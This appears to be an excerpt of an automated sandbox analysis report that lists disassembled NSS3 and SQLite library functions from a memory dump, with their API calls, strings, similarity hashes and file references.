Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f810f6c6fd3972602f2714f4aa6f62f521915413c7e9ab368e72a0a0ddd8552a
Instruction ID: a6d4958886d43bbe0c292f8b7124ed34a90571a335b998ab37bf21c9b3ae8cbd
Opcode Fuzzy Hash: f810f6c6fd3972602f2714f4aa6f62f521915413c7e9ab368e72a0a0ddd8552a
Instruction Fuzzy Hash: C881E4B6900701ABEB109F74DC40BEB77A9BF44248F1A4528E85987B41FF31FA54C7A1

Function 6CFEDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFF1397,5B5F5EC0,?,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB3C
Part of subcall function 6CFEAB10: free.MOZGLUE(D958E836,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB49
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(5D5E6D1E), ref: 6CFEAB5C
Part of subcall function 6CFEAB10: free.MOZGLUE(5D5E6D12), ref: 6CFEAB63
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFEAB6F
Part of subcall function 6CFEAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFEAB76

TlsGetValue.KERNEL32 ref: 6CFEDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CFEDD0E
PK11_IsFriendly.NSS3(?), ref: 6CFEDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CFEDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFEDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFEDEA6
PR_Unlock.NSS3(?), ref: 6CFEDF08

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 8c93038bd5dcb2f8971741835b8c721346edafd43c25d14e45a2da9ae11aae43
Instruction ID: 37d82c487798860cb335a637b06d3b7d31f7e92f3606a8b0b7a03d265cbbf5d9
Opcode Fuzzy Hash: 8c93038bd5dcb2f8971741835b8c721346edafd43c25d14e45a2da9ae11aae43
Instruction Fuzzy Hash: 1391E5B5E00205AFEB10DF68D884BABB7B5FF88308F254029DD199BB41E731E955CB91

Function 6CFA5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6D08BB62,00000004,6D0F4CA4,?,?,00000000,?,?,6CF631DB), ref: 6CFA60AB
sqlite3_config.NSS3(00000004,6D0F4CA4,6D08BB62,00000004,6D0F4CA4,?,?,00000000,?,?,6CF631DB), ref: 6CFA60EB
sqlite3_config.NSS3(00000012,6D0F4CC4,?,?,6D08BB62,00000004,6D0F4CA4,?,?,00000000,?,?,6CF631DB), ref: 6CFA6122

Strings

%s at line %d of [%.10s], xrefs: 6CFA60A4
misuse, xrefs: 6CFA609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFA6095

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: d859fd9206a82422edab4af8d734984e0756b58d0d9c03a89b8a1eaed5955df6
Instruction ID: 588674dfe4934269361336d5bec3be8a88914d94920c6cc1218e906f6e3ac468
Opcode Fuzzy Hash: d859fd9206a82422edab4af8d734984e0756b58d0d9c03a89b8a1eaed5955df6
Instruction Fuzzy Hash: 97B14074E04646DFCB04CFACD240AA9B7F0FB1E304B158159E509AB362E771ABC6CB59

Function 6CF54F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF54FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF551BB

Strings

%s at line %d of [%.10s], xrefs: 6CF551B4
misuse, xrefs: 6CF551AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF551A5
unable to delete/modify user-function due to active statements, xrefs: 6CF551DF

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: f5233afd613824f69dab49022c40f737db79fccc192d01a174aa8b709d85ecc8
Instruction ID: 83960a440ebd82d00f22017406fe0d2be672e892ea594bfe22c0ac17875f89e3
Opcode Fuzzy Hash: f5233afd613824f69dab49022c40f737db79fccc192d01a174aa8b709d85ecc8
Instruction Fuzzy Hash: 7E71AEB160420A9FEB00CE59CC80B9B7BF9BF58308F554125FE199BA85D731E961CBA1

Function 6CFC2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CFC2D69

Strings

winUnmapfile1, xrefs: 6CFC2F55
winTruncate1, xrefs: 6CFC2EBE
winTruncate2, xrefs: 6CFC2EF8
winUnmapfile2, xrefs: 6CFC2F7F
winSeekFile, xrefs: 6CFC2E9C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 43a643dbb879168536b7555f914327259df043594ee27d42b4faaebf45ebcd90
Instruction ID: 5ace5ec4135f9e4e0d1da0b0f7e8cd10cb0620e82bfe40c712f3117c54aa7a16
Opcode Fuzzy Hash: 43a643dbb879168536b7555f914327259df043594ee27d42b4faaebf45ebcd90
Instruction Fuzzy Hash: C561A275B00205AFDB04CFA8DC98BAB77B1FF49314F108128E915AB790DB72AD06CB91

Function 6D03FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6D03F165,6D10219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D03FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D0400A6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 86b66d13cd35b1ecbb4a3c0b87dca894313d3f578e4e9ddff9230fa86c7392c4
Instruction ID: a0167cf8e25017081328d4d5a019686a4e098147db71a5ebf45d35f5200ce8ae
Opcode Fuzzy Hash: 86b66d13cd35b1ecbb4a3c0b87dca894313d3f578e4e9ddff9230fa86c7392c4
Instruction Fuzzy Hash: 0651C271E08226DFEB108E9AC880BBEB7B5BB59354F558139DD55B7240D371AC008BD1

Function 6CFFDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFFDF37
EnterCriticalSection.KERNEL32(?), ref: 6CFFDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CFFE02B
PR_Unlock.NSS3(?), ref: 6CFFE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFFE090
PR_Unlock.NSS3(?), ref: 6CFFE0AF

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a54cbbf321e20d5403362bcbf88281c17d55f0ef759124b6c7b8cbf11bbfd4a1
Instruction ID: f2dfab802c05f41f6337b58856b4202f6db1437e7a474aa101120d7d634e5a32
Opcode Fuzzy Hash: a54cbbf321e20d5403362bcbf88281c17d55f0ef759124b6c7b8cbf11bbfd4a1
Instruction Fuzzy Hash: 7451B072A00600DFEB209F24D844F5773B5FF45318F214528E96687BB1D771E95ACB92

Function 6CFFBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFFBD1E

Part of subcall function 6CFD2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFD2F0A
Part of subcall function 6CFD2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFD2F1D

Part of subcall function 6D0157D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CFDB41E,00000000,00000000,?,00000000,?,6CFDB41E,00000000,00000000,00000001,?), ref: 6D0157E0
Part of subcall function 6D0157D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6D015843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFFBD8C

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CFFBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CFFBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFBE3A

Part of subcall function 6CFD3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD3EC2
Part of subcall function 6CFD3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD3ED6
Part of subcall function 6CFD3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD3EEE
Part of subcall function 6CFD3E60: PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD3F02
Part of subcall function 6CFD3E60: PL_FreeArenaPool.NSS3 ref: 6CFD3F14
Part of subcall function 6CFD3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFBE52

Part of subcall function 6CFD2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFD2CDA,?,00000000), ref: 6CFD2E1E
Part of subcall function 6CFD2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CFD2E33
Part of subcall function 6CFD2E00: TlsGetValue.KERNEL32 ref: 6CFD2E4E
Part of subcall function 6CFD2E00: EnterCriticalSection.KERNEL32(?), ref: 6CFD2E5E
Part of subcall function 6CFD2E00: PL_HashTableLookup.NSS3(?), ref: 6CFD2E71
Part of subcall function 6CFD2E00: PL_HashTableRemove.NSS3(?), ref: 6CFD2E84
Part of subcall function 6CFD2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CFD2E96
Part of subcall function 6CFD2E00: PR_Unlock.NSS3 ref: 6CFD2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFFBE61

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: f4d248035b88ed670c948e0d522bc819a97939cdb0fedaff64de9b4225d38f65
Instruction ID: 0fa32929f412743110828aef60078196dd6ce161f9121443436d8cf7d52833d6
Opcode Fuzzy Hash: f4d248035b88ed670c948e0d522bc819a97939cdb0fedaff64de9b4225d38f65
Instruction Fuzzy Hash: 3E4105B6A04210AFD720DF24DC80B6B77E4EF45718F164568FA1897321E731ED15CBA2

Function 6D01AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6D01AB3E,?,?,?), ref: 6D01AC35

Part of subcall function 6CFFCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CFFCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6D01AB3E,?,?,?), ref: 6D01AC55

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D01AB3E,?,?), ref: 6D01AC70

Part of subcall function 6CFFE300: TlsGetValue.KERNEL32 ref: 6CFFE33C
Part of subcall function 6CFFE300: EnterCriticalSection.KERNEL32(?), ref: 6CFFE350
Part of subcall function 6CFFE300: PR_Unlock.NSS3(?), ref: 6CFFE5BC
Part of subcall function 6CFFE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CFFE5CA
Part of subcall function 6CFFE300: TlsGetValue.KERNEL32 ref: 6CFFE5F2
Part of subcall function 6CFFE300: EnterCriticalSection.KERNEL32(?), ref: 6CFFE606
Part of subcall function 6CFFE300: PORT_Alloc_Util.NSS3(?), ref: 6CFFE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6D01AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6D01AB3E), ref: 6D01ACD7
PORT_Alloc_Util.NSS3(?), ref: 6D01AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6D01AD2B

Part of subcall function 6CFFF360: TlsGetValue.KERNEL32(00000000,?,6D01A904,?), ref: 6CFFF38B
Part of subcall function 6CFFF360: EnterCriticalSection.KERNEL32(?,?,?,6D01A904,?), ref: 6CFFF3A0
Part of subcall function 6CFFF360: PR_Unlock.NSS3(?,?,?,?,6D01A904,?), ref: 6CFFF3D3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d100916fc4ea0bd778673fccf649cd22e8e687042a87b43ad027785d953fa698
Instruction ID: 22ad5f7d255e48b8384b2705ae4503f02e61ce6a54141edfc4ef5e3487d3f037
Opcode Fuzzy Hash: d100916fc4ea0bd778673fccf649cd22e8e687042a87b43ad027785d953fa698
Instruction Fuzzy Hash: B631FDB1E045165FFB009FA5DC40EBF77A6EF84328B258138E9159B341E731DD1687A1

Function 6CFF8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFF8C7C

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFF8CB0
TlsGetValue.KERNEL32 ref: 6CFF8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CFF8CE5
PR_Unlock.NSS3(?), ref: 6CFF8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CFF8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF8D93

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: df4d74a1fb2e306f9d9948f2fa186a6f22dca445e71e6ce821c8828617af7ef3
Instruction ID: 5802c91b14091a28e965267e48d2d215ce58f195b5453e2e237b9ef3f51b7f52
Opcode Fuzzy Hash: df4d74a1fb2e306f9d9948f2fa186a6f22dca445e71e6ce821c8828617af7ef3
Instruction Fuzzy Hash: F0316871A01201AFE7009F65DC4079E77B4FF46318F140136EE2567760D770A965C7E1

Function 6D039D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6D039C5B), ref: 6D039D82

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6D039C5B), ref: 6D039DA9

Part of subcall function 6D031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03136A
Part of subcall function 6D031340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03137E
Part of subcall function 6D031340: PL_ArenaGrow.NSS3(?,6CFCF599,?,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?), ref: 6D0313CF
Part of subcall function 6D031340: PR_Unlock.NSS3(?,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6D039C5B), ref: 6D039DCE

Part of subcall function 6D031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D0313F0
Part of subcall function 6D031340: PL_ArenaGrow.NSS3(?,6CFCF599,?,?,?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6D031445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6D039C5B), ref: 6D039DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6D039C5B), ref: 6D039DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6D039C5B), ref: 6D039E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6D039C5B), ref: 6D039E91

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

Part of subcall function 6D031560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6D02FAAB,00000000), ref: 6D03157E
Part of subcall function 6D031560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6D02FAAB,00000000), ref: 6D031592
Part of subcall function 6D031560: memset.VCRUNTIME140(?,00000000,?), ref: 6D031600
Part of subcall function 6D031560: PL_ArenaRelease.NSS3(?,?), ref: 6D031620
Part of subcall function 6D031560: PR_Unlock.NSS3(?), ref: 6D031639

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 74c0e88c73f29a0757390be78bcddf2a8a48e80c5378e5aed5be3c47a6505eae
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 6C4180B5600617AFF740CF15E940B66BBA1FF49348F568128D9184BAA0EB72E934CFD1

Function 6CFFDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFFDDEC

Part of subcall function 6D030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0308B4

PK11_DigestBegin.NSS3(00000000), ref: 6CFFDE70
